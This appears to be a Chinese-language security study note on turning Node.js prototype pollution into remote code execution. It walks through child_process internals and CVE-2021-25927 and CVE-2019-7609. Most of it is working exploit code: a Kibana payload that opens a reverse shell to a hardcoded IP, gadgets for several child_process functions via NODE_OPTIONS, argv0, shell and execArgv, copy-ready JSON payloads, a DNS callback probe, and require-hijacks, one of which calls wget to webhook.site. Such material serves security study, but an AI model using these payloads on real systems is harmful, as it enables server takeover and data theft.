接递归按照 . 做分隔写入 obj,很明显可以原型链污染

CVE-2021-25927

该漏洞存在于safe-flat,v2.0.0~v2.0.1版本中,POC如下:

1
2
3
4
var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);

image-20241224142659705

PP2RCE深入学习

关于child_process的spawn

对于child_process,它是nodejs内置模块,用于新建子进程,在CTF题目中也常使用require('child_process').exec('xxx')来RCE。

child_process内置了6个方法:execFileSync、execSync、fork、exec、execFile、spawn()

其中execFileSync()调用spawnSync(),execSync()调用spawnSync(),而spawnSync()调用spawn();exec()调用execFile(),最后execFile()调用spawn();fork()调用spawn()。也就是说前6个方法最终都是调用spawn(),其中spawn()的本质是创建ChildProcess的实例并返回。那我们直接对spawn这个方法进行分析

1
2
3
4
5
6
7
8
9
10
11
12
child.spawn({
file: opts.file,
args: opts.args,
cwd: options.cwd,
windowsHide: !!options.windowsHide,
windowsVerbatimArguments: !!options.windowsVerbatimArguments,
detached: !!options.detached,
envPairs: opts.envPairs,
stdio: options.stdio,
uid: options.uid,
gid: options.gid
});

以下面的代码为例:

1
2
3
4
5
6
7
8
9
10
11
//这行代码使用解构赋值从 Node.js 的 child_process 模块中引入 spawn 函数。spawn 函数用于在系统上启动一个新的进程。
const { spawn } = require('child_process');
```
.stdout.on('data', (data) => { ... })
通过监听子进程的标准输出(stdout),可以捕获执行 whoami 命令后的输出数据。
on('data', callback) 事件触发器会在子进程的标准输出流中有数据时调用,并将该数据传递给回调函数。
当接收到 whoami 命令的输出数据时,它会将数据作为字符串输出到控制台。stdout: ${data} 会在控制台打印出 "stdout: ",后面跟着当前用户名。
```
spawn('whoami').stdout.on('data', (data) => {
console.log(`stdout: ${data}`);
});

Node使用模块child_process建立子进程时,调用用户层面的 spawn 方法。初始化子进程的参数,步入normalizeSpawnArguments

1
2
3
4
function spawn(file, args, options) {
options = normalizeSpawnArguments(file, args, options);
......
}

其中,支持的 options 有:

  • uid:设置运行时的 UID
  • gid:设置运行时的 GID
  • cwd:程序的运行路径,默认为process.cwd()的返回结果
  • shell:如果为true,将使用当前用户默认的 Shell 执行该命令,如果为字符串,将使用字符串中的内容作为 Shell

所谓作为 Shell,假设该参数为xxx,那么上面的例子最终执行起来就是 xxx -c whoami

  • argv0:这个内容会作为argv[0]的值,默认为spawn的第一个参数(command)值,若设置了shell,默认为shell

例如shell/bin/bash,但argv0bash,则程序的cmdline实际上是bash -c 'whoami',传递给程序的参数数组中,$0将是bash

  • env:存储环境变量,例如{"PATH":"/usr/bin"},默认继承当前环境变量
  • stdio:数组或字符串,控制子进程与父进程之间的输入输出流交互,可以为pipe``inherit``ignore
  • detached:当父进程终止后,继续运行,默认为false

跟进normalizeSpawnArguments

image-20250509152216836

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function normalizeSpawnArguments(file, args, options) {
...//省略
if (options === undefined)
options = {};

...//省略
var env = options.env || process.env;
var envPairs = [];

for (var key in env) {
envPairs.push(key + '=' + env[key]);
}

_convertCustomFds(options);

return {
file: file,
args: args,
options: options,
envPairs: envPairs
};
}

当 options 不存在时将其命为空对象

然后获取 env 变量,首先对 options.env 是否存在做了判断,如果 options.env 为undefined则将环境变量process.env的值复制给 env

而后对 envPairs 这个数组进行push操作,其实就是 env 变量对应的键值对

在 node v18.0 中,它的代码变成了下面的形式:

1
2
3
4
5
6
7
8
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
validateArgumentNullCheck(key, `options.env['${key}']`);
validateArgumentNullCheck(value, `options.env['${key}']`);
ArrayPrototypePush(envPairs, `${key}=${value}`);
}
}

用几个方法封装了同样的操作,不影响

很明显这里存在一个原型链污染的问题,options默认为空对象,那么它的任何属性都存在被污染的可能

只要能污染到Object.prototype,那么options就可以添加我们想要的任何属性,包括options.env

经过normalizeSpawnArguments封装并返回后,建立新的子进程new ChildProcess(),这里才算进入内部 child_process 的实现

image-20241030155248475

观察一下原生的spawn源码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
ChildProcess.prototype.spawn = function(options) {
let i = 0;

validateObject(options, 'options');

// If no `stdio` option was given - use default
let stdio = options.stdio || 'pipe';

stdio = getValidStdio(stdio, false);

const ipc = stdio.ipc;
const ipcFd = stdio.ipcFd;
stdio = options.stdio = stdio.stdio;


validateOneOf(options.serialization, 'options.serialization',
[undefined, 'json', 'advanced']);
const serialization = options.serialization || 'json';

if (ipc !== undefined) {
// Let child process know about opened IPC channel
if (options.envPairs === undefined)
options.envPairs = [];
else
validateArray(options.envPairs, 'options.envPairs');

ArrayPrototypePush(options.envPairs, `NODE_CHANNEL_FD=${ipcFd}`);
ArrayPrototypePush(options.envPairs,
`NODE_CHANNEL_SERIALIZATION_MODE=${serialization}`);
}

validateString(options.file, 'options.file');
this.spawnfile = options.file;

if (options.args === undefined) {
this.spawnargs = [];
} else {
validateArray(options.args, 'options.args');
this.spawnargs = options.args;
}

const err = this._handle.spawn(options);//这里喵喵喵~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~··

// Run-time errors should emit an error, not throw an exception.
if (err === UV_EACCES ||
err === UV_EAGAIN ||
err === UV_EMFILE ||
err === UV_ENFILE ||
err === UV_ENOENT) {
process.nextTick(onErrorNT, this, err);

// There is no point in continuing when we've hit EMFILE or ENFILE
// because we won't be able to set up the stdio file descriptors.
if (err === UV_EMFILE || err === UV_ENFILE)
return err;
} else if (err) {
// Close all opened fds on error
for (i = 0; i < stdio.length; i++) {
const stream = stdio[i];
if (stream.type === 'pipe') {
stream.handle.close();
}
}

this._handle.close();
this._handle = null;
throw errnoException(err, 'spawn');
} else {
process.nextTick(onSpawnNT, this);
}

this.pid = this._handle.pid;

for (i = 0; i < stdio.length; i++) {
const stream = stdio[i];
if (stream.type === 'ignore') continue;

if (stream.ipc) {
this._closesNeeded++;
continue;
}

// The stream is already cloned and piped, thus stop its readable side,
// otherwise we might attempt to read from the stream when at the same time
// the child process does.
if (stream.type === 'wrap') {
stream.handle.reading = false;
stream.handle.readStop();
stream._stdio.pause();
stream._stdio.readableFlowing = false;
stream._stdio._readableState.reading = false;
stream._stdio[kIsUsedAsStdio] = true;
continue;
}

if (stream.handle) {
stream.socket = createSocket(this.pid !== 0 ?
stream.handle : null, i > 0);

if (i > 0 && this.pid !== 0) {
this._closesNeeded++;
stream.socket.on('close', () => {
maybeClose(this);
});
}
}
}

this.stdin = stdio.length >= 1 && stdio[0].socket !== undefined ?
stdio[0].socket : null;
this.stdout = stdio.length >= 2 && stdio[1].socket !== undefined ?
stdio[1].socket : null;
this.stderr = stdio.length >= 3 && stdio[2].socket !== undefined ?
stdio[2].socket : null;

this.stdio = [];

for (i = 0; i < stdio.length; i++)
ArrayPrototypePush(this.stdio,
stdio[i].socket === undefined ? null : stdio[i].socket);

// Add .send() method and start listening for IPC data
if (ipc !== undefined) setupChannel(this, ipc, serialization);

return err;
};

其中的this._handle.spawn调用了 process_wrap.cc 的 spawn 来生成子进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static void Spawn(const FunctionCallbackInfo<Value>& args) {
//获取js传过来的第一个option参数
Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();

...
// options.env
Local<Value> env_v =
js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
if (!env_v.IsEmpty() && env_v->IsArray()) {
Local<Array> env_opt = Local<Array>::Cast(env_v);
int envc = env_opt->Length();
CHECK_GT(envc + 1, 0); // Check for overflow.
options.env = new char*[envc + 1]; // Heap allocated to detect errors.
for (int i = 0; i < envc; i++) {
node::Utf8Value pair(env->isolate(),
env_opt->Get(context, i).ToLocalChecked());
options.env[i] = strdup(*pair);
CHECK_NOT_NULL(options.env[i]);
}
options.env[envc] = nullptr;
}
...

//调用uv_spawn生成子进程,并将父进程的event_loop传递过去
int err = uv_spawn(env->event_loop(), &wrap->process_, &options);
//省略
}

代码只截取了对 env 这个属性的操作,它将原先的 envPairs 进行封装。最后所有 options 带入uv_spawn来生成子进程,在uv_spawn中就是常规的 fork()、waitpid() 来控制进程的产生和资源释放,不过有一个非常重要的实现如下:

1
2
3
//process.cc->uv_spawn()

execvp(options->file, options->args);

使用了 execvp 来执行任务,这里的 options->file 就是我们最初传给spawn的参数。比如我们的例子是spawn('whoami'),那么此时的file就是whoami,当然对于有参数的命令,则 options->args 与之对应。

流程总结:

child_process创建子进程的流程看起来有些复杂,总结一下:

1、初始化子进程需要的参数,设置环境变量
2、fork()创建子进程,并用execvp执行系统命令。

fork() 通常用于将需要并行处理的任务放到子进程中,从而避免阻塞主线程。它可以用来运行一个独立的 JavaScript 文件,这个文件执行后会成为子进程。子进程与主进程可以通过消息传递进行通信。

3、ipc通信,输出捕捉

Kibana-RCE(CVE-2019-7609)

node > v8.0.0 支持运行node时增加一个命令行参数NODE_OPTIONS,它能够包含一个js脚本,相当于include。

在node进程启动的时候会作为环境变量加载。

NODE_OPTIONS 是一个环境变量,用于为 Node.js 程序配置命令行选项。通过设置 NODE_OPTIONS,你可以在启动 Node.js 进程时自动应用一些全局选项,而不需要每次启动程序时手动在命令行中指定。

使用 NODE_OPTIONS 可以对 Node.js 的行为进行全局控制,特别适合在开发和生产环境中需要对多个 Node.js 进程进行配置时使用。

node的官方文档中能找到用例:NODE_OPTIONS=options… | Node.js API 文档

1
NODE_OPTIONS='--require ./evil.js' node

image-20250509152307507

如果我们能改变本地环境变量,则在node创建进程的时候就可以包含恶意语句,当然了这需要 bash 来export

不过上面打印 process.env 也显示出一件事,只需要污染 process.env 即可rce,于是有了Kibana的poc:

1
2
3
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')

.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

node运行时会把当前进程的 env 写进系统的环境变量,子进程也一样,在linux中存储为/proc/self/environ

通过污染 env 把恶意的语句写进 /proc/self/environ。同时污染process.NODE_OPTIONS属性,使node在生成新进程的时候,包含我们构造的/proc/self/environ。具体操作就类似下面的用法

1
AAAA='console.log(123)//' NODE_OPTIONS='--require /proc/self/environ' node

image-20250509152441633

污染了 Object.env 之后,利用Canvas生成新进程的时候会执行spawn从而RCE

由于我们的重心是pp2rce,Kibana部分的源码就不搞了,看看图得了(

image-20250509152500525

需要知道的是fork()spawn('whoami')的差别,虽然 fork 调用了 spawn 来实现的子进程创建

1
2
3
4
5
exports.fork = function(modulePath /*, args, options*/) {
...//省略
options.execPath = options.execPath || process.execPath;
return spawn(options.execPath, args, options);
}

它处理了 execPath 这个属性,默认获取系统变量的 process.execPath ,再传入spawn,这里是node

而使用 spawn 处理的时候,得到的file是我们传入的参数whoami

上面分析过,child_process 在子进程创建的最底层,会调用 execvp 执行命令执行file

1
execvp(options->file, options->args);

而上面poc的核心就是NODE_OPTIONS='--require /proc/self/environ' node,即bash调用了node去执行。所以此处的file值必须为node,否则无法将NODE_OPTIONS载入

而直接调用spawn函数时必须有file值,这也造成了直接跑spawn('whoami')无法加载 evil.js 的情况

所以最终的poc是:

1
2
3
4
5
6
7
8
// test.js
proc = require('child_process');
var aa = {}
aa.__proto__.env = {'AAAA':'console.log(123)//','NODE_OPTIONS':'--require /proc/self/environ'}
proc.fork('./function.js');

//function.js
console.log('this is func')

这个trick如果要用 fork 进行 rce 的话要求我们能够可控一个文件的内容

经过测试execexecFile函数无论传入什么命令,file的值都会为/bin/sh,因为参数shell默认为true。即使不传入 options 选项,这两个命令也会默认定义options,这也是 child_process 防止命令执行的一种途径

但是shell这个变量也是可以被污染的,不过child_process在这里做了限制,即使 shell===false 或字符串。最终传到execvp时也会被执行的参数替代,而不是真正的node进程

PP2RCE(Prototype Pollution to RCE)

通过环境变量

原理就是上面的 Kibana-RCE

为了让 /proc/self/environ 开头就是我们的恶意js代码,EVIL 的部分必须放在最开始

1
2
3
4
5
6
7
8
9
10
const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('cat /proc/self/environ>pp2rce.txt').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./evil.js');
// This should create the file pp2rce.txt

image-20250509152642698

可以看到这里实际rce的就是执行了node /proc/self/environ

json速抄:

1
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}

via env vars + cmdline

不知道从哪个版本开始,nodejs会始终将NODE_OPTIONS放在 environ 文件中的首位,于是就有了这个方法

1
spawn()` 函数还有另外两个选项:`argv0` 和 `shell
  • argv0:控制传递给新进程的参数列表中的第一个元素,相当于执行命令,而所有的参数都会出现在文件 /proc/self/cmdline 中,因此第一个元素将位于开头

那么我们可以尝试把 NODE_OPTIONS 的值更改为 --require /proc/self/cmdline,并且把 payload 写入 argv0

不过这时候由于 argv0 被修改了,导致无法生成进程,因为它不是有效的命令或文件路径,这点我们可以指定 shell 参数来绕过,只要设置为一个可执行文件的路径,这样执行命令时就会把shell参数附加到命令及其参数的前面,如/bin/myshell -c "command arg1 arg2 arg3",这里无脑用/proc/self/exe即可

到时候执行的节点进程大致如下:

1
execve("/proc/self/exe", ["console.log('pwned!');//", "-c", "node …"], { NODE_OPTIONS: "--require /proc/self/cmdline" })

此时 argv0 即这里的console.log('pwned!');//

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}

// 实测shell参数可以不改,不知道为什么
// b.__proto__.shell = "/proc/self/exe"
b.__proto__.argv0 = "console.log(require('child_process').execSync('cat /proc/self/cmdline>pp2rce.txt').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./evil.js');
// This should create the file pp2rce.txt

json速抄:

1
{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}

DNS探测

1
--inspect`是用来指定调试器url的,如`NODE_OPTIONS='--inspect=localhost:4444'

甚至可以指定一个dns服务器

image-20241012172457197

image-20250509152712988

1
2
3
4
5
6
7
{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

上述两种方法延伸出child_process 下其它函数利用

node v18.4.0后,options 的默认值为 kEmptyObject 而不是 {},对spawnspawnSync有影响

1.exec

不能污染.env,因为此时 options.env 的值为 null

污染cmdline:

1
2
3
4
5
6
7
8
// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('whoami>pp2rce.txt').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

windows下(后面windows都差不多就不重复copy了):

1
2
3
4
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');

2.execFile

env:

1
2
3
4
5
6
7
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

cmdline:

1
2
3
4
5
6
7
// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

还有直接控制 execArgv 参数来命令执行的:

1
2
3
4
5
6
7
8
9
// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

3.spawn

污染env:

1
2
3
4
5
6
7
8
9
10
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('whoami>pp2rce.txt').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');

污染cmdline:

1
2
3
4
5
6
7
8
9
// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

4.execFileSync

env:

1
2
3
4
5
6
7
8
9
10
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

cmdline:

1
2
3
4
5
6
7
8
// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

stdin,居然可以直接调用 vim 写入文件:

1
2
3
4
5
6
7
8
// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

5.execSync

和execFileSync一样,只是换了函数而已

6.spawnSync

同上

主动调用spawn

前面的操作都是基于代码中调用了spawn的功能,如果代码没有调用它但是存在 require 的话,我们可以尝试通过原型链污染来包含依赖中调用了 spawn 的 js 文件

一些常见的文件:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • node_modules/buffer/bin/download-node-tests.js:17

    cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10

    var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16

    const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18

    process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26

    const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17

    cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10

    var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13

    const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31

    const result = cp.spawn('npm', args, { stdio: 'inherit' });

原型链污染设置 require 路径

绝对require

如果执行的 require 是绝对的require("bytes")),并且这个包在 package.json 文件中不包含 main,可以直接污染 main 属性并使 require 执行不同的文件

main字段:定义了 npm 包的入口文件,比如说 npm 包 test 下有 lib/index.js 作为入口文件,那么 package.json 中的写法就是 "main": "lib/index.js"

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

malicious.js

1
2
3
const { fork } = require('child_process');
console.log("Hellooo from malicious");
fork("anything");

json速抄:

1
{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}
相对require

如果加载的是相对路径而不是绝对路径,可以使节点加载不同的路径:

1
2
3
4
5
6
7
8
9
10
11
12
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

法2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist

法3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')